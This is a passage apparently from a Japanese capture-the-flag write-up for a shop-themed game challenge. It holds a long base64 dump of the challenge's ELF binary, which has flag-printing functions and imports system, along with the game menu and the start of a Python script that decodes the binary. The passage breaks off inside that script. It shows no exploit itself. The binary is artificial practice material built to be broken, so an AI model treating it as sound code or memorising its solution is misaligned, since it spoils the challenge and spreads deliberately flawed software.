AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADwEUAAAAAA
AMARQAAAAAAAAQAAAAAAAAABAAAAAAAAAAwAAAAAAAAAABBAAAAAAAANAAAAAAAAAOQbQAAAAAAA
GQAAAAAAAAAQPkAAAAAAABsAAAAAAAAACAAAAAAAAAAaAAAAAAAAABg+QAAAAAAAHAAAAAAAAAAI
AAAAAAAAAPX+/28AAAAACANAAAAAAAAFAAAAAAAAAOAEQAAAAAAABgAAAAAAAAAwA0AAAAAAAAoA
AAAAAAAAlAAAAAAAAAALAAAAAAAAABgAAAAAAAAAFQAAAAAAAAAAAAAAAAAAAAMAAAAAAAAAAEBA
AAAAAAACAAAAAAAAAFABAAAAAAAAFAAAAAAAAAAHAAAAAAAAABcAAAAAAAAAAAZAAAAAAAAHAAAA
AAAAALgFQAAAAAAACAAAAAAAAABIAAAAAAAAAAkAAAAAAAAAGAAAAAAAAAD+//9vAAAAAJgFQAAA
AAAA////bwAAAAABAAAAAAAAAPD//28AAAAAdAVAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAID5AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
NhBAAAAAAABGEEAAAAAAAFYQQAAAAAAAZhBAAAAAAAB2EEAAAAAAAIYQQAAAAAAAlhBAAAAAAACm
EEAAAAAAALYQQAAAAAAAxhBAAAAAAADWEEAAAAAAAOYQQAAAAAAA9hBAAAAAAAAGEUAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAKR0NDOiAoRGViaWFuIDguMy4wLTYpIDguMy4wAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAADAAEAqAJAAAAAAAAAAAAAAAAAAAAAAAADAAIAxAJAAAAAAAAAAAAA
AAAAAAAAAAADAAMA5AJAAAAAAAAAAAAAAAAAAAAAAAADAAQACANAAAAAAAAAAAAAAAAAAAAAAAAD
AAUAMANAAAAAAAAAAAAAAAAAAAAAAAADAAYA4ARAAAAAAAAAAAAAAAAAAAAAAAADAAcAdAVAAAAA
AAAAAAAAAAAAAAAAAAADAAgAmAVAAAAAAAAAAAAAAAAAAAAAAAADAAkAuAVAAAAAAAAAAAAAAAAA
AAAAAAADAAoAAAZAAAAAAAAAAAAAAAAAAAAAAAADAAsAABBAAAAAAAAAAAAAAAAAAAAAAAADAAwA
IBBAAAAAAAAAAAAAAAAAAAAAAAADAA0AEBFAAAAAAAAAAAAAAAAAAAAAAAADAA4A5BtAAAAAAAAA
AAAAAAAAAAAAAAADAA8AACBAAAAAAAAAAAAAAAAAAAAAAAADABAAzCNAAAAAAAAAAAAAAAAAAAAA
AAADABEAKCRAAAAAAAAAAAAAAAAAAAAAAAADABIAED5AAAAAAAAAAAAAAAAAAAAAAAADABMAGD5A
AAAAAAAAAAAAAAAAAAAAAAADABQAID5AAAAAAAAAAAAAAAAAAAAAAAADABUA8D9AAAAAAAAAAAAA
AAAAAAAAAAADABYAAEBAAAAAAAAAAAAAAAAAAAAAAAADABcAiEBAAAAAAAAAAAAAAAAAAAAAAAAD
ABgAoEBAAAAAAAAAAAAAAAAAAAAAAAADABkAAAAAAAAAAAAAAAAAAAAAAAEAAAAEAPH/AAAAAAAA
AAAAAAAAAAAAAAwAAAACAA0AUBFAAAAAAAAAAAAAAAAAAA4AAAACAA0AgBFAAAAAAAAAAAAAAAAA
ACEAAAACAA0AwBFAAAAAAAAAAAAAAAAAADcAAAABABgAqEBAAAAAAAABAAAAAAAAAEYAAAABABMA
GD5AAAAAAAAAAAAAAAAAAG0AAAACAA0A8BFAAAAAAAAAAAAAAAAAAHkAAAABABIAED5AAAAAAAAA
AAAAAAAAAJgAAAAEAPH/AAAAAAAAAAAAAAAAAAAAAAEAAAAEAPH/AAAAAAAAAAAAAAAAAAAAAJ8A
AAABABEApCVAAAAAAAAAAAAAAAAAAAAAAAAEAPH/AAAAAAAAAAAAAAAAAAAAAK0AAAAAABIAGD5A
AAAAAAAAAAAAAAAAAL4AAAABABQAID5AAAAAAAAAAAAAAAAAAMcAAAAAABIAED5AAAAAAAAAAAAA
AAAAANoAAAAAABAAzCNAAAAAAAAAAAAAAAAAAO0AAAABABYAAEBAAAAAAAAAAAAAAAAAAAMBAAAS
AA0A4BtAAAAAAAABAAAAAAAAABMBAAASAAAAAAAAAAAAAAAAAAAAAAAAACgBAAARABgAoEBAAAAA
AAAIAAAAAAAAANgBAAAgABcAiEBAAAAAAAAAAAAAAAAAADwBAAASAAAAAAAAAAAAAAAAAAAAAAAA
AE4BAAAQABcAmUBAAAAAAAAAAAAAAAAAAFUBAAASAAAAAAAAAAAAAAAAAAAAAAAAAA0BAAASAg4A
5BtAAAAAAAAAAAAAAAAAAGkBAAASAAAAAAAAAAAAAAAAAAAAAAAAAH0BAAASAA0ATxdAAAAAAABW
AgAAAAAAAIQBAAASAAAAAAAAAAAAAAAAAAAAAAAAAJcBAAASAA0AZhpAAAAAAADBAAAAAAAAAKQB
AAASAAAAAAAAAAAAAAAAAAAAAAAAAMMBAAASAAAAAAAAAAAAAAAAAAAAAAAAANYBAAAQABcAiEBA
AAAAAAAAAAAAAAAAAOMBAAASAAAAAAAAAAAAAAAAAAAAAAAAAPgBAAASAAAAAAAAAAAAAAAAAAAA
AAAAAA0CAAAgAAAAAAAAAAAAAAAAAAAAAAAAABwCAAARAhcAkEBAAAAAAAAAAAAAAAAAACkCAAAR
AA8AACBAAAAAAAAEAAAAAAAAADgCAAASAAAAAAAAAAAAAAAAAAAAAAAAAEoCAAASAA0AgBtAAAAA
AABdAAAAAAAAAFoCAAASAAAAAAAAAAAAAAAAAAAAAAAAALkAAAAQABgAsEBAAAAAAAAAAAAAAAAA
AG4CAAASAg0AQBFAAAAAAAABAAAAAAAAANwBAAASAA0AEBFAAAAAAAArAAAAAAAAAIYCAAAQABgA
mUBAAAAAAAAAAAAAAAAAAJICAAASAA0AJxtAAAAAAABWAAAAAAAAAJcCAAASAAAAAAAAAAAAAAAA
AAAAAAAAAKoCAAARABcAmEBAAAAAAAABAAAAAAAAALACAAASAA0A8hFAAAAAAABdBQAAAAAAALcC
AAASAA0ApRlAAAAAAADBAAAAAAAAAMQCAAASAAAAAAAAAAAAAAAAAAAAAAAAANYCAAASAAAAAAAA
AAAAAAAAAAAAAAAAAOoCAAARAhcAoEBAAAAAAAAAAAAAAAAAAFQCAAASAgsAABBAAAAAAAAAAAAA
AAAAAMQBAAASAAAAAAAAAAAAAAAAAAAAAAAAAABjcnRzdHVmZi5jAGRlcmVnaXN0ZXJfdG1fY2xv
bmVzAF9fZG9fZ2xvYmFsX2R0b3JzX2F1eABjb21wbGV0ZWQuNzMyNQBfX2RvX2dsb2JhbF9kdG9y
c19hdXhfZmluaV9hcnJheV9lbnRyeQBmcmFtZV9kdW1teQBfX2ZyYW1lX2R1bW15X2luaXRfYXJy
YXlfZW50cnkAY2hhbC5jAF9fRlJBTUVfRU5EX18AX19pbml0X2FycmF5X2VuZABfRFlOQU1JQwBf
X2luaXRfYXJyYXlfc3RhcnQAX19HTlVfRUhfRlJBTUVfSERSAF9HTE9CQUxfT0ZGU0VUX1RBQkxF
XwBfX2xpYmNfY3N1X2ZpbmkAcHV0Y2hhckBAR0xJQkNfMi4yLjUAc3Rkb3V0QEBHTElCQ18yLjIu
NQBwdXRzQEBHTElCQ18yLjIuNQBfZWRhdGEAZmNsb3NlQEBHTElCQ18yLjIuNQBzeXN0ZW1AQEdM
SUJDXzIuMi41AExldmVsMgBmZ2V0Y0BAR0xJQkNfMi4yLjUAcHJpbnRfZmxhZ18yAF9fbGliY19z
dGFydF9tYWluQEBHTElCQ18yLjIuNQBzcmFuZEBAR0xJQkNfMi4yLjUAX19kYXRhX3N0YXJ0AGdl
dGNoYXJAQEdMSUJDXzIuMi41AGZwcmludGZAQEdMSUJDXzIuMi41AF9fZ21vbl9zdGFydF9fAF9f
ZHNvX2hhbmRsZQBfSU9fc3RkaW5fdXNlZAB0aW1lQEBHTElCQ18yLjIuNQBfX2xpYmNfY3N1X2lu
aXQAZmZsdXNoQEBHTElCQ18yLjIuNQBfZGxfcmVsb2NhdGVfc3RhdGljX3BpZQBfX2Jzc19zdGFy
dABtYWluAGZvcGVuQEBHTElCQ18yLjIuNQBjb2lucwBMZXZlbDEAcHJpbnRfZmxhZ18xAGV4aXRA
QEdMSUJDXzIuMi41AGZ3cml0ZUBAR0xJQkNfMi4yLjUAX19UTUNfRU5EX18AAC5zeW10YWIALnN0
cnRhYgAuc2hzdHJ0YWIALmludGVycAAubm90ZS5BQkktdGFnAC5ub3RlLmdudS5idWlsZC1pZAAu
Z251Lmhhc2gALmR5bnN5bQAuZHluc3RyAC5nbnUudmVyc2lvbgAuZ251LnZlcnNpb25fcgAucmVs
YS5keW4ALnJlbGEucGx0AC5pbml0AC50ZXh0AC5maW5pAC5yb2RhdGEALmVoX2ZyYW1lX2hkcgAu
ZWhfZnJhbWUALmluaXRfYXJyYXkALmZpbmlfYXJyYXkALmR5bmFtaWMALmdvdAAuZ290LnBsdAAu
ZGF0YQAuYnNzAC5jb21tZW50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGwAAAAEAAAACAAAAAAAAAKgCQAAAAAAA
qAIAAAAAAAAcAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAACMAAAAHAAAAAgAAAAAAAADE
AkAAAAAAAMQCAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAxAAAABwAAAAIA
AAAAAAAA5AJAAAAAAADkAgAAAAAAACQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAARAAA
APb//28CAAAAAAAAAAgDQAAAAAAACAMAAAAAAAAkAAAAAAAAAAUAAAAAAAAACAAAAAAAAAAAAAAA
AAAAAE4AAAALAAAAAgAAAAAAAAAwA0AAAAAAADADAAAAAAAAsAEAAAAAAAAGAAAAAQAAAAgAAAAA
AAAAGAAAAAAAAABWAAAAAwAAAAIAAAAAAAAA4ARAAAAAAADgBAAAAAAAAJQAAAAAAAAAAAAAAAAA
AAABAAAAAAAAAAAAAAAAAAAAXgAAAP///28CAAAAAAAAAHQFQAAAAAAAdAUAAAAAAAAkAAAAAAAA
AAUAAAAAAAAAAgAAAAAAAAACAAAAAAAAAGsAAAD+//9vAgAAAAAAAACYBUAAAAAAAJgFAAAAAAAA
IAAAAAAAAAAGAAAAAQAAAAgAAAAAAAAAAAAAAAAAAAB6AAAABAAAAAIAAAAAAAAAuAVAAAAAAAC4
BQAAAAAAAEgAAAAAAAAABQAAAAAAAAAIAAAAAAAAABgAAAAAAAAAhAAAAAQAAABCAAAAAAAAAAAG
QAAAAAAAAAYAAAAAAABQAQAAAAAAAAUAAAAWAAAACAAAAAAAAAAYAAAAAAAAAI4AAAABAAAABgAA
AAAAAAAAEEAAAAAAAAAQAAAAAAAAFwAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAACJAAAA
AQAAAAYAAAAAAAAAIBBAAAAAAAAgEAAAAAAAAPAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAA
AAAAlAAAAAEAAAAGAAAAAAAAABARQAAAAAAAEBEAAAAAAADRCgAAAAAAAAAAAAAAAAAAEAAAAAAA
AAAAAAAAAAAAAJoAAAABAAAABgAAAAAAAADkG0AAAAAAAOQbAAAAAAAACQAAAAAAAAAAAAAAAAAA
AAQAAAAAAAAAAAAAAAAAAACgAAAAAQAAAAIAAAAAAAAAACBAAAAAAAAAIAAAAAAAAMsDAAAAAAAA
AAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAqAAAAAEAAAACAAAAAAAAAMwjQAAAAAAAzCMAAAAAAABc
AAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAALYAAAABAAAAAgAAAAAAAAAoJEAAAAAAACgk
AAAAAAAAgAEAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAADAAAAADgAAAAMAAAAAAAAAED5A
AAAAAAAQLgAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAAzAAAAA8AAAADAAAA
AAAAABg+QAAAAAAAGC4AAAAAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAANgAAAAG
AAAAAwAAAAAAAAAgPkAAAAAAACAuAAAAAAAA0AEAAAAAAAAGAAAAAAAAAAgAAAAAAAAAEAAAAAAA
AADhAAAAAQAAAAMAAAAAAAAA8D9AAAAAAADwLwAAAAAAABAAAAAAAAAAAAAAAAAAAAAIAAAAAAAA
AAgAAAAAAAAA5gAAAAEAAAADAAAAAAAAAABAQAAAAAAAADAAAAAAAACIAAAAAAAAAAAAAAAAAAAA
CAAAAAAAAAAIAAAAAAAAAO8AAAABAAAAAwAAAAAAAACIQEAAAAAAAIgwAAAAAAAAEQAAAAAAAAAA
AAAAAAAAAAgAAAAAAAAAAAAAAAAAAAD1AAAACAAAAAMAAAAAAAAAoEBAAAAAAACZMAAAAAAAABAA
AAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAA+gAAAAEAAAAwAAAAAAAAAAAAAAAAAAAAmTAA
AAAAAAAcAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAEAAAACAAAAAAAAAAAAAAAAAAAA
AAAAALgwAAAAAAAAgAcAAAAAAAAbAAAAKwAAAAgAAAAAAAAAGAAAAAAAAAAJAAAAAwAAAAAAAAAA
AAAAAAAAAAAAAAA4OAAAAAAAAPYCAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAEQAAAAMA
AAAAAAAAAAAAAAAAAAAAAAAALjsAAAAAAAADAQAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAA
AA==
Welcome to my Shop!
What would you like to do?
1) Buy
2) Sell
3) View Your Inventory
4) Leave Shop

base64文字列をデコードする。

#!/usr/bin/env python3
from base64 import *

s = '''
f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAEBFAAAAAAABAAAAAAAAAADg8AAAAAAAAAAAAAEAAOAAL
AEAAHQAcAAYAAAAEAAAAQAAAAAAAAABAAEAAAAAAAEAAQAAAAAAAaAIAAAAAAABoAgAAAAAAAAgA
AAAAAAAAAwAAAAQAAACoAgAAAAAAAKgCQAAAAAAAqAJAAAAAAAAcAAAAAAAAABwAAAAAAAAAAQAA
AAAAAAABAAAABAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAFAHAAAAAAAAUAcAAAAAAAAAEAAA
AAAAAAEAAAAFAAAAABAAAAAAAAAAEEAAAAAAAAAQQAAAAAAA7QsAAAAAAADtCwAAAAAAAAAQAAAA
AAAAAQAAAAQAAAAAIAAAAAAAAAAgQAAAAAAAACBAAAAAAACoBQAAAAAAAKgFAAAAAAAAABAAAAAA
AAABAAAABgAAABAuAAAAAAAAED5AAAAAAAAQPkAAAAAAAIkCAAAAAAAAoAIAAAAAAAAAEAAAAAAA
AAIAAAAGAAAAIC4AAAAAAAAgPkAAAAAAACA+QAAAAAAA0AEAAAAAAADQAQAAAAAAAAgAAAAAAAAA
BAAAAAQAAADEAgAAAAAAAMQCQAAAAAAAxAJAAAAAAABEAAAAAAAAAEQAAAAAAAAABAAAAAAAAABQ
5XRkBAAAAMwjAAAAAAAAzCNAAAAAAADMI0AAAAAAAFwAAAAAAAAAXAAAAAAAAAAEAAAAAAAAAFHl
dGQHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAUuV0
ZAQAAAAQLgAAAAAAABA+QAAAAAAAED5AAAAAAADwAQAAAAAAAPABAAAAAAAAAQAAAAAAAAAvbGli
NjQvbGQtbGludXgteDg2LTY0LnNvLjIABAAAABAAAAABAAAAR05VAAAAAAADAAAAAgAAAAAAAAAE
AAAAFAAAAAMAAABHTlUARNd+Y8jcZOOTEoAAzxNSOwI6nUQCAAAAEQAAAAEAAAAGAAAAAAAAAAAB
EAARAAAAAAAAACkdjBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALQAAABIAAAAAAAAAAAAA
AAAAAAAAAAAAIwAAABIAAAAAAAAAAAAAAAAAAAAAAAAASgAAABIAAAAAAAAAAAAAAAAAAAAAAAAA
UQAAABIAAAAAAAAAAAAAAAAAAAAAAAAANQAAABIAAAAAAAAAAAAAAAAAAAAAAAAAZwAAABIAAAAA
AAAAAAAAAAAAAAAAAAAAFwAAABIAAAAAAAAAAAAAAAAAAAAAAAAAOwAAABIAAAAAAAAAAAAAAAAA
AAAAAAAAXwAAABIAAAAAAAAAAAAAAAAAAAAAAAAAhQAAACAAAAAAAAAAAAAAAAAAAAAAAAAAKAAA
ABIAAAAAAAAAAAAAAAAAAAAAAAAACwAAABIAAAAAAAAAAAAAAAAAAAAAAAAAHQAAABIAAAAAAAAA
AAAAAAAAAAAAAAAAEgAAABIAAAAAAAAAAAAAAAAAAAAAAAAAWAAAABIAAAAAAAAAAAAAAAAAAAAA
AAAAGAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAQwAAABEAGACgQEAAAAAAAAgAAAAAAAAAAGxpYmMu
c28uNgBmZmx1c2gAZXhpdABzcmFuZABmb3BlbgBwdXRzAHRpbWUAcHV0Y2hhcgBmZ2V0YwBnZXRj
aGFyAHN0ZG91dABmY2xvc2UAc3lzdGVtAGZ3cml0ZQBmcHJpbnRmAF9fbGliY19zdGFydF9tYWlu
AEdMSUJDXzIuMi41AF9fZ21vbl9zdGFydF9fAAAAAgACAAIAAgACAAIAAgACAAIAAAACAAIAAgAC
AAIAAgACAAEAAQABAAAAEAAAAAAAAAB1GmkJAAACAHkAAAAAAAAA8D9AAAAAAAAGAAAABgAAAAAA
AAAAAAAA+D9AAAAAAAAGAAAACgAAAAAAAAAAAAAAoEBAAAAAAAAFAAAAEQAAAAAAAAAAAAAAGEBA
AAAAAAAHAAAAAQAAAAAAAAAAAAAAIEBAAAAAAAAHAAAAAgAAAAAAAAAAAAAAKEBAAAAAAAAHAAAA
AwAAAAAAAAAAAAAAMEBAAAAAAAAHAAAABAAAAAAAAAAAAAAAOEBAAAAAAAAHAAAABQAAAAAAAAAA
AAAAQEBAAAAAAAAHAAAABwAAAAAAAAAAAAAASEBAAAAAAAAHAAAACAAAAAAAAAAAAAAAUEBAAAAA
AAAHAAAACQAAAAAAAAAAAAAAWEBAAAAAAAAHAAAACwAAAAAAAAAAAAAAYEBAAAAAAAAHAAAADAAA
AAAAAAAAAAAAaEBAAAAAAAAHAAAADQAAAAAAAAAAAAAAcEBAAAAAAAAHAAAADgAAAAAAAAAAAAAA
eEBAAAAAAAAHAAAADwAAAAAAAAAAAAAAgEBAAAAAAAAHAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEiD7AhIiwXt
LwAASIXAdAL/0EiDxAjDAAAAAAAAAAAA/zXiLwAA/yXkLwAADx9AAP8l4i8AAGgAAAAA6eD/////
JdovAABoAQAAAOnQ/////yXSLwAAaAIAAADpwP////8lyi8AAGgDAAAA6bD/////JcIvAABoBAAA
AOmg/////yW6LwAAaAUAAADpkP////8lsi8AAGgGAAAA6YD/////JaovAABoBwAAAOlw/////yWi
LwAAaAgAAADpYP////8lmi8AAGgJAAAA6VD/////JZIvAABoCgAAAOlA/////yWKLwAAaAsAAADp
MP////8lgi8AAGgMAAAA6SD/////JXovAABoDQAAAOkQ////Me1JidFeSIniSIPk8FBUScfA4BtA
AEjHwYAbQABIx8cnG0AA/xW2LgAA9A8fRAAAw2YuDx+EAAAAAAAPH0QAALigQEAASD2gQEAAdBO4
AAAAAEiFwHQJv6BAQAD/4GaQw2ZmLg8fhAAAAAAADx9AAL6gQEAASIHuoEBAAEjB/gNIifBIweg/
SAHGSNH+dBG4AAAAAEiFwHQHv6BAQAD/4MNmZi4PH4QAAAAAAA8fQACAPeEuAAAAdRdVSInl6H7/
///GBc8uAAABXcMPH0QAAMNmZi4PH4QAAAAAAA8fQADrjlVIieVIg+xwSIsFny4AAEiJwbovAAAA
vgEAAABIjT3zDQAA6Nb+//9IiwV/LgAASInH6Jf+///GRf8Bx0XgAAAAAMdF5AAAAADHRegAAAAA
6fcEAABIiwVSLgAASInBujQAAAC+AQAAAEiNPdYNAADoif7//0iLBTIuAABIicfoSv7//+gV/v//
iEX+6A3+//8PvkX+g/gyD4TdAQAAg/gyfxOD+P8PhGcEAACD+DF0HOlnBAAAg/gzD4RQAwAAg/g0
D4QWBAAA6VAEAABIiwXaLQAASInBuhwAAAC+AQAAAEiNPZMNAADoEf7//0iLBbotAABIicG6UAAA
AL4BAAAASI09lg0AAOjx/f//SIsFmi0AAEiJx+iy/f//6H39//+D6DGJRfjocv3//0iNBbwNAABI
iUXASI0FuA0AAEiJRchIjQW1DQAASIlF0MdFtAIAAADHRbgGAAAAx0W8ZAAAAIN9+AAPiNkAAACD
ffgCD4/PAAAAi0X4SJhIi1TFwEiLBSctAABIjTWIDQAASInHuAAAAADoE/3//0iLBQwtAABIicfo
JP3//+jv/P//g+gwiUX06OT8//8PtgXlLAAAD7bQi0X4SJiLRIW0D69F9DnCfTFIiwXSLAAASInB
uh8AAAC+AQAAAEiNPU4NAADoCf3//0iLBbIsAABIicfoyvz//+tvD7YVmSwAAItF+EiYi0SFtInG
i0X0icGJ8A+vwSnCidCIBXosAACLRfhImItUheCLRfQBwotF+EiYiVSF4Oswi0X4jVAxSIsFXCwA
AEiNNQUNAABIice4AAAAAOhI/P//SIsFQSwAAEiJx+hZ/P//kOnRAgAASIsFLCwAAEiJwbodAAAA
vgEAAABIjT3iDAAA6GP8//9IiwUMLAAASInBui0AAAC+AQAAAEiNPeAMAADoQ/z//0iLBewrAABI
icfoBPz//+jP+///g+gxiUXw6MT7//9IjQUODAAASIlFoEiNBQoMAABIiUWox0WYAQAAAMdFnAMA
AACDffAAD4jRAAAAg33wAQ+PxwAAAItF8EiYSItUxaBIiwWLKwAASI01nAwAAEiJx7gAAAAA6Hf7
//9IiwVwKwAASInH6Ij7///oU/v//4PoMIlF7OhI+///i0XwSJiLRIXgOUXsfjaLRfBImEiLVMWg
SIsFOSsAAEiNNW8MAABIice4AAAAAOgl+///SIsFHisAAEiJx+g2+///62+LRfBImItEhZiJwYtF
